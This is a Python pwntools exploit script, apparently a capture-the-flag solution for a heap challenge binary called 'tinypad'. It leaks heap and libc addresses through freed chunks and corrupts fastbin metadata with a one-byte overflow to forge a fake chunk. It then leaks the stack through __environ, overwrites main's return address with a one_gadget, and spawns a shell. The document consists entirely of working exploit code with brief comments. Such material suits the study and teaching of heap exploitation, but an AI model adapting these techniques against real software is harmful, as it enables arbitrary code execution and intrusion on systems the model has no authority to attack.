# -*- coding: utf-8 -*- 
from pwn import *

context.log_level='debug'

def Add(size, content):
	s.recvuntil('(CMD)>>> ')
	s.sendline('A')
	s.recvuntil('(SIZE)>>> ')
	s.sendline(str(size))
	s.recvuntil('(CONTENT)>>> ')
	s.sendline(content)

def Delete(index):
        s.recvuntil('(CMD)>>> ')
        s.sendline('D')
	s.recvuntil('(INDEX)>>> ')
	s.sendline(str(index))

def Edit(index,content):
        s.recvuntil('(CMD)>>> ')
        s.sendline('E')
        s.recvuntil('(INDEX)>>> ')
        s.sendline(str(index))
        s.recvuntil('(CONTENT)>>> ')
        s.sendline(content)
	s.recvuntil('(Y/n)>>> ')
	s.sendline('Y')

def Quit():
        s.recvuntil('(CMD)>>> ')
        s.sendline('Q')

if __name__ == "__main__":
	
	s=process('./tinypad')
	l=ELF('/lib/x86_64-linux-gnu/libc.so.6')
	
	Add(0x108,'A') #index 1
	Add(0x108,'B') #index 2
	Add(0x108,'C') #index 3
	Add(0x108,'D') #index 4	
	
	Delete(3) #unsortedbin: 0xf1a000 ◂— 0x7f7647a14b78
	Delete(1) #unsortedbin: 0xf1a200 —▸ 0xf1a000 ◂— 0x7f7647a14b78
	
	s.recvuntil('#   INDEX: 1')
	s.recvuntil('# CONTENT: ')

	heap_leak=u64(s.recv(4).ljust(8,'\x00'))
	heap_base=heap_leak-0x220

        s.recvuntil('#   INDEX: 3')
        s.recvuntil('# CONTENT: ')

        libc_leak=u64(s.recv(6).ljust(8,'\x00'))
	libc_base=libc_leak-0x3c4b78

	print "Heap base address: " +str(hex(heap_base))
	print "Libc base address: " +str(hex(libc_base))

	Delete(2)
	Delete(4)

	Add(0x38,'a'*0x38) #index 1
	Add(0x28,'B') #2
	Add(0x28,'C') #3
	Add(0x21,'D') #4

	Edit(1,'a'*0x39) #1byte overflow '0x61'
	
	Delete(2) #fastbins 0x61 size
	Delete(4)
	Delete(3)

	fakechunk='A'*0x28
	fakechunk+=p64(0x31)
	fakechunk+=p64(0x602138) #fake fd
	
	Add(0x58,fakechunk) #fastbins : 0x30: 0x13d9060 —▸ 0x602148 (tinypad+272) ◂— 0x0
	Add(0x28,'1111')

	fakeaddress=libc_base+l.symbols['__environ']
	Add(0x28,p64(fakeaddress)) #This fakeaddress will be push 0x602148

        s.recvuntil('#   INDEX: 1')
        s.recvuntil('# CONTENT: ')

        stack_leak=u64(s.recv(6).ljust(8,'\x00'))
	main_ret=stack_leak-240

	Edit(4,p64(main_ret)) #index 1 is main_ret
	Edit(1,p64(libc_base+0xf1147)) #one_gadget

        print "Heap base address: " +str(hex(heap_base))
        print "Libc base address: " +str(hex(libc_base))
	print "__environ: " +str(hex(libc_base+l.symbols['__environ']))
	print "Stack leak address: "+str(hex(stack_leak))
	print "main return address: "+str(hex(main_ret))

	Quit() #run "/bin/sh" shell
	s.interactive()
	

